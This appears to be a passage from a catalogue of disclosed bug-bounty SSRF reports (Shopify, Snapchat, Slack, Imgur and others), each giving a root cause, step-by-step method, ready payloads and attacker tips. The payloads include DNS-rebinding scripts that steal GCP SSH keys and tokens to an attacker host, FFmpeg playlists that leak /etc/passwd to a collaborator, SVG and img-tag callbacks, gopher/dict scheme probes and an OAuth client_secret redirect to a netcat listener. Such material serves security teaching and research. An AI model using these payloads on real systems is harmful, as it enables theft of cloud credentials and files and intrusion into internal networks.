xhr.open('GET','/0'); // same-origin path once hostname rebinds to 127.0.0.1
xhr.send();
}
</script>
<button onclick="start()">Start testing</button>
Insight — Any app that binds an HTTP listener to localhost (browser extensions, desktop apps, dev tools, IPC bridges) and skips Host/Origin validation is reachable cross-origin via DNS rebinding. Enumerate localhost ports, rebind a low-TTL domain to 127.0.0.1, then fetch same-origin.
Real-world example
FTP PASV response trust -> SSRF port scan & banner grab
◆ Low
Specimen #1145454 · ruby · awarded · 9 votes · resolved
Program rubySurface otherChain SSRF -> internal port scan -> service banner grab ->
Root cause
Ruby net/ftp (passive mode, the default) blindly connects the data channel to the IP:port a malicious FTP server returns in its 227 PASV reply, letting the server steer the client to arbitrary internal endpoints (CVE-2021-31810).
Method
- Point an SSRF-capable app (or a user-supplied FTP URL) at your malicious FTP server
- In the PASV/227 response, return the target internal IP:port you want probed (e.g. 127,0,0,1,31,187 = 127.0.0.1:8123)
- Open port -> data connection succeeds (RETR proceeds); closed port -> connection fails / 'unmatched reply' -> infer port state
- Read whatever banner the target sends on connect (e.g. SSH-2.0-OpenSSH_7.2p2) from the data channel
# malicious FTP server steers the client
RECV: PASV
SEND: 227 Entering Passive Mode (127,0,0,1,31,187) # 31*256+187 = 8123
# open port -> client connects and RETR; closed -> failure (port-state oracle)
Insight — Any FTP client that honors server-supplied PASV IP:port is an SSRF/port-scanner primitive - the payload is encoded in the 227 reply as (h1,h2,h3,h4,p1,p2), port=p1*256+p2. Reliable TCP scanning + banner extraction that a raw ip:port SSRF can't do. Firefox/curl mitigate by re-using the control-connection IP or offering EPSV-only.
Real-world example
Callback-URL SSRF -> GCP metadata endpoint
◆ Low
Specimen #382612 · shopify · none · 9 votes · resolved
Program shopifySurface webChain SSRF -> GCP metadata (mitigated) / internal service reachTag cloud-gcp
Root cause
A payment-simulator endpoint sends a server-side POST to a user-supplied x_url_callback and returns the response, allowing requests to the GCP metadata service (though a metadata proxy blocked the sensitive v1beta1 path).
Method
- Submit the test/callback endpoint with x_url_callback pointing at the GCP metadata host
- Observe the fetched response (here blocked by 'metadata api not allowed in the metadata proxy')
- Pivot to any internal service reachable only from the app's GCP IP
POST https://offsite-gateway-sim.shopifycloud.com/notification
x_url_callback=http://metadata/computeMetadata/v1beta1/
# GCP metadata also at http://169.254.169.254/computeMetadata/v1/ (needs Metadata-Flavor: Google)
Insight — On GCP the metadata host is http://metadata / http://169.254.169.254/computeMetadata/v1/ and normally needs header 'Metadata-Flavor: Google'; the legacy v1beta1 path did not. Callback/notification URL params are prime SSRF sinks. A metadata proxy that blocks known paths still leaves internal-only services reachable.
Real-world example
HTML/img-tag injection in form fields -> blind server-side fetch
◆ Low
Specimen #236301 · mixmax · none · 9 votes · resolved
Program mixmaxSurface webChain HTML injection -> blind SSRF OOBTag webhook
Root cause
Form fields (a careers/application form) that are later rendered server-side (or via an image proxy) accept raw <img src> markup, causing the backend to fetch attacker URLs -> blind SSRF / OOB canary.
Method
- Inject <img src=https://COLLAB> into every form field
- Submit
- Watch your server logs for the inbound fetch (records IP + UA)
<img src=https://COLLAB.oastify.com/px.png>
Insight — HTML-injection into anything rendered server-side (email/PDF/preview/image proxy) is a fast blind-SSRF detector -- spray <img src=COLLAB> into every field. Note: if the UA shows 'GoogleImageProxy'/ggpht.com the fetch is via a third-party proxy, limiting internal reach; inspect the source IP/UA before claiming internal impact.
Real-world example
Remote-upload SSRF LAN pivot with path-suffix extension bypass
◆ Low
Specimen #1364797 · concretecms · none · 7 votes · resolved
Program concretecmsSurface webChain SSRF -> internal LAN app read/fingerprint (GET-only exploTag file-upload
Root cause
An 'upload file from remote URL' feature fetches any public or private IP (weak IP check) and enforces a file-extension check that is bypassable by appending a fake extension after a path segment, letting an attacker fetch, save, and download internal web content.
Method
- Use the remote-upload feature against an internal host
- Bypass the extension filter by putting the real path before a dummy extension the app trusts
- Fetch/fingerprint/exploit (GET-only) internal apps; retrieve the saved response
http://192.168.1.157/info.php/test.html
# app ignores everything after index.php/... and trusts the trailing .html/.png extension
Insight — Remote-fetch/import features often gate on (a) HTTP 200, (b) file extension, (c) a loose IP check that still permits RFC1918. Bypass the extension check with '/realpath/anything.png' style suffixes and pivot into the LAN, exfiltrating fetched pages via the saved-file download.
Real-world example
Python urllib password-'#' parser confusion (bpo-30500)
◆ Low
Specimen #305978 · ibb · USD 500 · 6 votes · resolved
Program ibbSurface otherTag cloud-aws
Root cause
urllib does not correctly parse a URL whose userinfo password contains '#', so the host used for the connection differs from the host a spec-compliant validator extracts -> SSRF allowlist bypass.
Method
- Identify code that validates a URL host then fetches with urllib
- Embed the real target after a '#' inside the userinfo/password segment
- Confirm urllib connects to the unexpected host
http://allowed.com:password#@evil.com/ (userinfo '#' mis-parse -> connects to evil.com)
Insight — Same parser-differential class as curl CVE-2016-8624 but in Python's stdlib -- fingerprint the fetching runtime (python-requests/urllib UA) and try '#'/userinfo tricks against SSRF allowlists.
Real-world example
URL/host-suffix validation bypass (.onion check) via query/fragment and substring match
◆ Low
Specimen #181210 · paragonie · awarded · 5 votes · resolved
Program paragonieSurface webTag cors
Root cause
Security decisions keyed on whether a URL is a .onion host used loose regex (^https?://([^/]+)\.onion) and strpos($url,'.onion'). Both match attacker URLs whose real host is arbitrary, letting a non-onion host pass the check (so HTTPS is not enforced → MITM).
Method
- Locate a host/suffix check driving a security decision (force-HTTPS, SSRF allowlist, redirect allowlist, CORS origin)
- Break the regex host capture with query/fragment: https://evil.com?.onion:443 or https://evil.com&.onion
- Or defeat naive substring checks with a lookalike host: https://domain.onionweb.com/
- Confirm the URL still resolves to your host in the real fetcher (curl/parse_url)
https://example.com?.onion:443
https://example.com&.onion:443
http://example.com?.onion
https://domain.onionweb.com/
# secure check: host = parse_url($url, PHP_URL_HOST); suffix-compare host, not the whole URL
Insight — Never validate a host by regex/substring over the whole URL — an attacker controls query, fragment, userinfo and subdomain to make evil.com 'contain' the allowed suffix. Always parse to the real host and compare that. This pattern breaks SSRF allowlists, open-redirect filters, CORS origin checks and email-domain checks alike.
Real-world example
DNS-rebinding SSRF via image import in headless renderer -> GCP metadata
◆ Info
Specimen #530974 · snapchat · awarded · 417 votes · resolved
Program snapchatSurface webChain headless-render SSRF -> DNS rebinding -> GCP metadata Tag cloud-gcp
Root cause
An image-import feature fetched an attacker URL in a headless Chrome; the URL was validated then re-fetched, so DNS rebinding to 169.254.169.254 let attacker JS run against the metadata service and exfil via XHR.
Method
- Host an HTML page (ssrf.html) whose JS reads GCP metadata via XHR and beacons results to a logging server
- Point the import feature (/api/v1/media/import) at http://yourdomain/ssrf.html
- Immediately flip that domain's DNS to 169.254.169.254 (TTL 0) so the in-page XHRs hit metadata under the same origin
- Read exfiltrated SSH keys / service-account tokens on your log server
<script>
function get(url){var r=new XMLHttpRequest();r.open('GET',url,false);r.setRequestHeader('X-Google-Metadata-Request','True');r.send(null);return r.responseText;}
log('SSH Keys: '+get('http://ATTACKERHOST/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json'));
log('Service Accounts: '+get('http://ATTACKERHOST/computeMetadata/v1/instance/service-accounts/?recursive=true&alt=json'));
</script>
# then switch DNS of ATTACKERHOST -> 169.254.169.254
Insight — When a server-side headless browser fetches your page, in-page XHR runs from the server's network. DNS-rebind the page's own hostname to the metadata IP so the reads are same-origin. Serve the page on port 80 to match the metadata service.
Real-world example
DNS rebinding against a local MCP server (no origin/CORS validation)
◆ Info
Specimen #3176157 · portswigger · 2000 · 140 votes · resolved
Program portswiggerSurface desktopChain malicious page -> DNS rebind -> local MCP server tool Tag cloud-aws
Root cause
Burp Suite's MCP server on 127.0.0.1:9876 lacked Origin validation and CORS/DNS-rebinding protection, so a malicious web page could DNS-rebind to it and invoke its send_http1_request tool to reach internal hosts.
Method
- Set up a rebinding hostname that first resolves to your web server IP then to 127.0.0.1 (e.g. rbndr.us, mogwailabs DNSrebinder)
- Host a page on port 9876 whose JS connects to the local MCP server, grabs a session ID, and calls send_http1_request
- Victim (with Burp MCP enabled) opens the link; after rebind the JS talks to 127.0.0.1:9876
- Drive send_http1_request to internal/localhost/metadata targets and read responses via get_proxy_http_history
# DNS: 7f000001.c0a80103.rbndr.us alternates 192.168.1.3 <-> 127.0.0.1
# JS: connect ws/http to http://127.0.0.1:9876, call tool send_http1_request -> http://169.254.169.254/...
python3 dnsrebinder.py --domain rebind.example. --rebind 127.0.0.1 --ip 192.168.1.3 --counter 1 --udp
Insight — Local dev/agent servers (MCP, LLM tool servers, IDE bridges) that bind localhost without Origin checks are DNS-rebinding SSRF targets. Any browser-reachable localhost service with a request-sending tool = internal network access. Enforce Origin allowlists and Host header pinning.
Real-world example
FFmpeg HLS playlist processing (crafted AVI/GAB2) -> SSRF + local file read
◆ Info
Specimen #237381 · automattic · awarded · 62 votes · resolved
Program automatticSurface webChain upload -> FFmpeg external ref -> SSRF -> HLS concatTag file-upload
Root cause
A media pipeline runs FFmpeg on user uploads; FFmpeg follows external references inside HLS playlists (reachable via GAB2 subtitle chunks embedded in an AVI), enabling outbound SSRF and, by chaining playlist concatenation, reading arbitrary local files off the processing node.
Method
- Craft an AVI whose GAB2 subtitle chunk embeds an HLS playlist pointing at an http:// URL you control (keep binary layout intact)
- Upload it to the video-processing feature and trigger Edit/transcode
- Receive the SSRF callback (User-Agent Lavf/...) from an internal node
- For file read, host the file_reading_server.py m3u chain so FFmpeg concatenates segments and returns /etc/passwd etc.
# inside AVI GAB2 chunk (SSRF):
http://<attacker>/ssrf_test
# file read chain:
http://<attacker>:8080/initial.m3u?filename=/etc/passwd
# server-side FFmpeg fetches segments and leaks file contents back
Insight — Any feature that transcodes user media with FFmpeg is an SSRF/LFI sink. Test HLS/m3u8 and playlist-bearing containers (AVI+GAB2, concat demuxer). The callback User-Agent 'Lavf/<ver>' confirms server-side FFmpeg.
Real-world example
SVG upload with external xlink:href triggers server-side fetch
◆ Info
Specimen #142709 · Shopify · awarded · 31 votes · resolved
Program ShopifySurface webTag file-upload
Root cause
An SVG uploaded as an app icon was processed server-side; its external xlink:href/image reference was dereferenced by the server, causing an outbound request to an attacker-controlled host (blind SSRF / external resource fetch).
Method
- Create an app and open its API-client settings page
- Upload an SVG whose <image>/xlink:href points to your server
- Save and watch your server logs for the incoming server-side fetch
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://ATTACKER/collab.png" height="50" width="50"/>
</svg>
Insight — Any endpoint that rasterizes/thumbnails/validates SVG is an SSRF and external-resource-fetch sink. Upload an SVG referencing a Collaborator/OAST URL; a callback confirms server-side XML/image processing that may escalate to internal fetches.
Real-world example
SSRF filter bypass via Ruby Resolv.getaddresses empty return
◆ Info
Specimen #287245 · security · $500 · 30 votes · resolved
Program securitySurface webChain resolver-mismatch filter bypass -> internal port reach
Root cause
The private_address_check gem resolves the host with Resolv.getaddresses and blocks if any result is private; for certain encoded IP forms (octal, hex, zero-padded) Resolv.getaddresses returns an empty array on some libc/OS, so nothing is compared to the blacklist and the check passes.
Method
- Supply the internal target as an octal/hex/zero-padded IP
- Resolv.getaddresses returns [] (host-dependent), so resolves_to_private_address? is false and the request proceeds
- The OS resolver then still connects to 127.0.0.1
http://0177.1:22/
http://0x7f.1:22/
http://127.000.001:22/
Insight — SSRF filters that resolve with a language library and connect with the OS resolver can disagree; feed IP encodings where the validator's resolver returns empty/other but the connect-time resolver hits localhost. Prefer Socket.getaddrinfo semantics when auditing the defense.
Real-world example
HTML/img-tag injection into marketing form -> delayed blind SSRF
◆ Info
Specimen #220009 · security · $500 · 25 votes · resolved
Program securitySurface webChain stored img injection -> backend HTML render -> outboun
Root cause
Free-text fields of a Contact/Sales form are later rendered by a backend (Marketo) email/HTML pipeline that fetches embedded <img src>, so injecting img tags causes delayed server-side requests to attacker URLs.
Method
- Fill each form field (FirstName/LastName/Company/Message) with a distinct <img src=https://YOURSERVER/x> tag
- Submit and wait ~18-20 minutes for the backend/email pipeline to process the HTML
- Observe multiple fetches in your server logs (each field distinguishes the sink)
<img src=https://yourserver.com/first onerror=alert(1)>
Insight — Form fields that end up in server-rendered HTML/email (Marketo, ticketing, PDF/invoice generators) are asynchronous SSRF sinks. Use unique per-field URLs and a long-poll listener - the callback may arrive many minutes later from a different system than the one you submitted to.
Real-world example
Reach internal locations via attacker-controlled X-Accel-Redirect upstream
◆ Info
Specimen #1027873 · shopify · awarded · 22 votes · resolved
Program shopifySurface webChain Attacker-controlled upstream -> X-Accel-Redirect -> inTag webhook
Root cause
NGINX performs an internal redirect to any location named in the X-Accel-Redirect response header from an upstream; if the upstream is attacker-controlled (an app proxy) and proxy_ignore_headers doesn't strip it, the attacker drives NGINX to internal/protected locations.
Method
- Configure an app proxy so your server is the NGINX upstream for a path
- Return a response with header X-Accel-Redirect: /internal-or-protected-path
- NGINX internally redirects and serves that location's content to you
# Upstream (your mock) response headers:
X-Accel-Redirect: /collections/all
# then browse https://{shop}.myshopify.com/a/apps -> served /collections/all (internal redirect honored)
Insight — When you control any upstream behind NGINX/Apache (app-proxy, webhook echo, SSRF-reachable service), test X-Accel-Redirect / X-Sendfile / X-Accel-* response headers to pivot to internal 'internal;' locations and protected files. Fix is proxy_ignore_headers X-Accel-Redirect.
Real-world example
Error-based SSRF via server-side image fetch (remote_image_url)
◆ Info
Specimen #158016 · instacart · 50 · 21 votes · resolved
Program instacartSurface web
Root cause
A list-image update accepts a remote_image_url that the server fetches; pointing it at internal hosts/ports makes the server connect internally, and the download error message leaks the target service's banner, confirming blind SSRF.
Method
- Find an image/avatar update that takes a URL (list[remote_image_url])
- Set it to http://127.0.0.1:<port>
- Read the error message - a returned service banner (e.g. SSH-2.0-OpenSSH) proves the internal connection and reveals the port's service
POST /api/v2/lists/LIST_ID
list[remote_image_url]=http://127.0.0.1:21
# error leaks: "wrong status line: \"SSH-2.0-OpenSSH_6.6.1p1 ...\""
Insight — 'Fetch image from URL' params are the most common SSRF sink; even without an image response you can port-scan internally and fingerprint services by parsing the fetch/parse error message (banner reflected as an error).
Real-world example
Webhook SSRF to EC2 metadata with success/failure oracle
◆ Info
Specimen #243277 · mixmax · none · 19 votes · resolved
Program mixmaxSurface apiTag webhookTag cloud-aws
Root cause
A user-configured webhook URL is fetched server-side with no blocklist; whether a delivery-failure notice is sent reveals if an internal endpoint is reachable.
Method
- Set webhook URL to http://169.254.169.254/latest/meta-data/
- Trigger the webhook (send/receive event)
- No failure email => endpoint alive; enumerate metadata paths (e.g. .../network/interfaces/macs/...)
http://169.254.169.254/latest/meta-data/
Insight — Webhook/notification URL fields are classic SSRF sinks; even when blind, use the app's own success vs failure signal (email, retry count, log) as a reachability oracle.
Real-world example
Remote-file fetch port scan via stream_socket error differential
◆ Info
Specimen #243865 · concretecms · none · 19 votes · resolved
Program concretecmsSurface web
Root cause
An admin 'add remote file' feature fetches arbitrary URLs; distinct PHP stream errors for open vs closed ports and HTTP vs non-HTTP services turn it into an internal port scanner.
Method
- Use File Manager > Replace > Add remote files with http://127.0.0.1:PORT
- Read the returned error to classify the port
http://127.0.0.1:80 -> 'Unknown mime-type: text/html' (open HTTP)
http://127.0.0.1:3306 -> 'A valid response status line was not found' (open non-HTTP)
http://127.0.0.1:1 -> 'stream_socket_client(): Connection refused' (closed)
Insight — Verbose fetch errors are a port/service oracle: connection-refused vs mime-type vs bad-status-line each map to a different port state. Catalogue the error strings, then scan.
Real-world example
Blind SSRF via SVG xlink:href parsed on upload
◆ Info
Specimen #97501 · shopify · awarded · 14 votes · resolved
Program shopifySurface webChain file upload -> server-side SVG parse -> SSRF (pivot toTag file-uploadTag cloud-aws
Root cause
A server-side image processor parses uploaded SVGs and dereferences external references (<image xlink:href>), issuing outbound HTTP requests to attacker-chosen URLs.
Method
- Upload an SVG containing an <image xlink:href> pointing at an attacker-controlled/internal URL.
- Server-side renderer fetches the URL; observe the callback on your listener.
- Escalate by pointing at internal hosts/ports or cloud metadata endpoints.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB/?evil=var" />
</svg>
Insight — Any endpoint that server-side renders/thumbnails SVG (or other XML formats) is an SSRF/XXE sink. Upload an SVG with an external xlink:href or entity to a Collaborator URL; a callback confirms it. Then pivot to internal services and 169.254.169.254 metadata.
Real-world example
Blind SSRF port scan via URL-preview/unfurl API
◆ Info
Specimen #281950 · infogram · none · 14 votes · resolved
Program infogramSurface apiChain blind SSRF -> internal port scan -> (potential) cloud
Root cause
A link-preview endpoint fetches an attacker-supplied URL server-side without validating the host, so pointing q= at internal addresses reveals open ports/services through differential responses (200 + page title vs 404).
Method
- Find a URL-preview/unfurl/fetch endpoint that returns metadata about a supplied URL
- Point it at internal hosts/ports (localhost, 0, 127.0.0.1, cloud metadata IP)
- Use status/title differentials to map open ports and reachable services
GET /api/web_resource/url?q=http://0:6000/ HTTP/1.1
Host: TARGET
# 200 + {"title":...} => open ; 404 => closed
# escalate: q=http://169.254.169.254/latest/meta-data/
Insight — Any 'fetch this URL' feature (link preview, unfurl, favicon fetch, webhook tester, PDF/screenshot-from-URL) is an SSRF sink; use the reflected title/status as an oracle to port-scan internal networks, then pivot to cloud metadata.
Real-world example
Headless-browser screenshot service SSRF leaks internal auth token
◆ Info
Specimen #1067443 · shopify · awarded · 14 votes · resolved
Program shopifySurface webChain Theme JS injection -> headless-browser redirect -> intTag account-takeover
Root cause
A screenshot/preview service renders store pages in a headless browser; injecting a client-side redirect makes that browser navigate to an attacker URL, and it forwards its internal service-to-service auth header.
Method
- Inject JS into a theme file you control (header.liquid)
- Redirect the headless browser to your Burp Collaborator
- Capture the outbound request headers
<script>
window.location="https://COLLAB/";
</script>
Insight — When a backend headless browser renders your controllable content, a simple window.location redirect turns it into an SSRF client that leaks internal identity headers (here X-ABS-App-Token). Inspect all forwarded headers for tokens.
Real-world example
FFmpeg HLS playlist SSRF and local file read via concat:/subfile:
◆ Info
Specimen #115857 · imgur · awarded · 14 votes · resolved
Program imgurSurface webChain file-upload/URL param -> FFmpeg SSRF -> local file reaTag file-uploadTag cloud-aws
Root cause
A media converter passes user-supplied video/URL to FFmpeg (Lavf) with network and file protocols enabled; a crafted .m3u8 playlist makes FFmpeg fetch attacker URLs (SSRF) and, via the concat:/subfile: protocols, embed local file contents (e.g. /etc/passwd) into an outbound request or the output media.
Method
- Find a server-side media/thumbnail/gif converter that accepts a URL or file
- Supply a file whose content is an HLS/m3u8 playlist referencing http:// targets (blind SSRF confirm via your server logs)
- Escalate to file read with concat:http://you/header.m3u8|file:///etc/passwd so the leaked line is appended to a request back to you
- Alternatively use subfile: or build valid video to exfil bytes through the produced gif
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://COLLAB/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
# header.m3u8 (no trailing space before EOF):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://COLLAB?
Insight — Any endpoint that hands user input to FFmpeg/ImageMagick/ghostscript is an SSRF+LFI sink. Test .m3u8/.avi wrappers and the concat:/subfile:/gopher: protocols; leaked file bytes arrive as the path/query of a request to your collaborator. Escalate to internal port scanning and cloud metadata.
Real-world example
DNS-rebinding bypass of SSRF IP blacklist on callback URL
◆ Info
Specimen #53004 · coinbase · $100 · 12 votes · resolved
Program coinbaseSurface webChain DNS rebind -> SSRF to loopback internal servicesTag webhook
Root cause
TOCTOU between the validator resolving the hostname (and blacklisting the IP) and the outbound proxy re-resolving the same hostname without a blacklist; a custom DNS server serving different answers per lookup defeats the filter.
Method
- Point a callback/URL-fetch feature at a hostname you control (e.g. test.attacker.net/_hostmanager/healthcheck).
- Run a rebinding DNS server that alternates answers: return an allowed public IP for the validator's lookups, then a blacklisted internal IP for the fetcher's lookup.
- The validator resolves -> allowed IP -> passes; the proxy re-resolves -> loopback/internal IP -> fetches it.
- Read the reflected response to hit internal loopback services (found :80/_hostmanager/healthcheck, :9177/status, :1080, :8000).
# dnschef/rebind pattern: answer scheme 221 = allowed,allowed,blacklisted,repeat
./rebind.py --ip1=127.0.0.1 --ip2=92.243.29.213 --scheme=221
# validator sees 92.243.29.213 (public/allowed); proxy sees 127.0.0.1 (loopback)
Insight — Whenever a URL is validated once and fetched later by a separate component, the two DNS resolutions are a rebinding window. Test any 'fetch/preview/callback URL' feature with a rebinding resolver, not just static internal IPs.
Real-world example
URL-fetch image param = SSRF + image-bomb DoS
◆ Info
Specimen #159820 · instacart · awarded · 11 votes · resolved
Program instacartSurface apiChain SSRF (internal port scan + banner disclosure) -> service Tag cloud-aws
Root cause
A PUT that accepts list[remote_image_url] server-side-fetches the URL; differential errors reveal internal port state and service banners (SSRF port scan), and a large/crafted image passed to rmagick times out and overflows memory (DoS).
Method
- PUT list[remote_image_url]=http://localhost:PORT and diff responses (404 vs connection refused vs banner)
- Read leaked banners e.g. SSH-2.0-OpenSSH_6.6.1p1 to fingerprint internal services
- Point it at a large/crafted image to make rmagick time out (502) and exhaust memory
PUT /api/v2/lists/153253
list[remote_image_url]=http://localhost:22 # leaks 'SSH-2.0-OpenSSH_6.6.1p1'
list[remote_image_url]=http://169.254.169.254/latest/meta-data/ # try cloud metadata
list[remote_image_url]=<url to huge crafted JPG> # 502 / memory overflow
Insight — remote_*_url / avatar_url / import-from-URL params are dual-primitive: SSRF (use error-message differentials as an oracle to port-scan and grab banners) and resource-exhaustion (feed a decompression bomb to the image processor). Always try both, and pivot SSRF to cloud metadata.
Real-world example
URL re-parse of port/protocol params -> SSRF + client_secret exfil (Shopify Ruby SDK)
◆ Info
Specimen #423437 · shopify · none · 11 votes · resolved
Program shopifySurface apiChain input injection -> URL re-parse confusion -> SSRF ->Tag oauth
Root cause
ShopifyAPI::Session.setup blindly assigns caller-supplied port/protocol into the shop URL; request_token then re-parses that string with URI.parse, so an injected '@host/?' or 'https://host/?' redirects the OAuth token POST (carrying client_id/client_secret/code) to an attacker host.
Method
- Influence the port or protocol param passed to Session.setup
- Set port to '@127.0.0.1/?' or protocol to 'https://127.0.0.1/?'
- Trigger request_token; the second URI.parse uses the injected host
- Capture the exfiltrated client_id/client_secret/code with a listener
require 'shopify_api'
ShopifyAPI::Session.setup protocol: 'https', secret: '', port: '@127.0.0.1/?'
session = ShopifyAPI::Session.new('some-shop.myshopify.com')
access_token = session.request_token({'hmac' => 'd54d830d05601f0b4247f654e4c57b51318be655f40c7a7119141c98a23f6815', 'timestamp': '2000000000'})
# also works via: protocol: 'https://127.0.0.1/?'
# listener: nc -l -n -vv -p 443
Insight — When a hostname/URL is validated once but re-parsed later from a reconstructed string, injected userinfo (@), path (/?) or scheme can move the effective host. Look for double-parse patterns in SDK/session setup that forward secrets.
Real-world example
Internal service disclosure via open URL-fetch proxy
◆ Info
Specimen #1409 · factlink · none · 10 votes · resolved
Program factlinkSurface webTag cloud
Root cause
A user-facing proxy fetches arbitrary URLs from a url parameter with no allow-list, so requests to RFC1918 addresses return internal-only web apps (e.g. the Chef server) to the attacker.
Method
- Find the fetch/preview proxy that accepts a url= parameter
- Point it at internal ranges (172.16.0.0/12, 10.0.0.0/8, 169.254.169.254)
- Read the returned internal HTML; enumerate hosts/ports
http://fct.li/?url=https://172.18.64.13
Insight — Any URL-fetch/proxy/preview parameter is an SSRF sink: sweep private subnets and cloud metadata. Also verify redirect handling - a proxy that blocks direct internal URLs but follows redirects can be pivoted via an attacker 302 to an internal host.
Real-world example
SSRF via image-from-URL with open-redirect port/protocol bypass
◆ Info
Specimen #67377 · shopify · awarded · 9 votes · resolved
Program shopifySurface webChain image-URL fetch -> open-redirect bypass -> internal poTag cloud-aws
Root cause
An 'add image from URL' feature fetches a user-supplied URL server-side; although the URL is validated, the fetcher follows redirects, so pointing it at an attacker page that 302s to internal/arbitrary host:port bypasses the filter and enables port scanning via response-timing (RTT).
Method
- Find a server-side URL fetch (image[src], avatar, link preview, webhook test)
- If direct internal URLs are blocked, host a redirector that 302s to the target host:port
- Submit the redirector URL; measure RTT to infer open vs closed ports
- Iterate host/port to map internal networks behind the firewall
utf8=%E2%9C%93&...&image%5Bsrc%5D=http%3A%2F%2Fattacker.tld%2Fr.php%3Fr%3Dhttp%3A%2F%2F169.254.169.254%3A80&_method=post
# r.php: <?php header('Location: '.$_GET['r']); ?>
# open port ~ higher RTT, closed ~ lower RTT
Insight — When a server fetch validates the initial URL but follows redirects, an attacker-controlled 302 defeats the allowlist and unlocks arbitrary host/port/protocol. Always test redirect-based SSRF and use RTT/timing as a blind oracle for port state; escalate toward cloud metadata (169.254.169.254).
Real-world example
SSRF via image/avatar 'url' param with unfiltered URL schemes
◆ Info
Specimen #14127 · slack · awarded · 5 votes · resolved
Program slackSurface webChain avatar url fetch -> multi-scheme SSRF -> internal portTag cloud-aws
Root cause
The avatar/photo endpoint fetches an attacker-supplied 'url' server-side with no port whitelist and with libcurl URL wrappers left enabled, so the server can be made to speak dict://, gopher://, ldap://, telnet://, pop3:// to arbitrary internal hosts/ports.
Method
- Find a feature that fetches a user-supplied URL (avatar/photo/preview/import)
- Point it at your collaborator host and confirm the server-side fetch (Slackbot UA)
- Swap the scheme to dict://gopher://ldap:// etc. and vary ports to probe internal services / port-scan by timing
POST /account/photo
crumb=...&crop=1&url=dict%3A%2F%2FTARGET%3A6666%2Fx&cropbox=0%2C0%2C85
# also worked: url=gopher://TARGET:PORT/_ , url=ldap://TARGET:PORT/ , url=http://169.254.169.254/
Insight — Image-fetch / URL-preview parameters are prime SSRF sinks. Beyond http(s), always test alternate schemes (dict/gopher/ldap/ftp/file) — if libcurl wrappers aren't disabled, gopher:// enables crafting raw TCP payloads (Redis/SMTP) and dict:// enables port scanning by response timing. Escalate toward cloud metadata (169.254.169.254).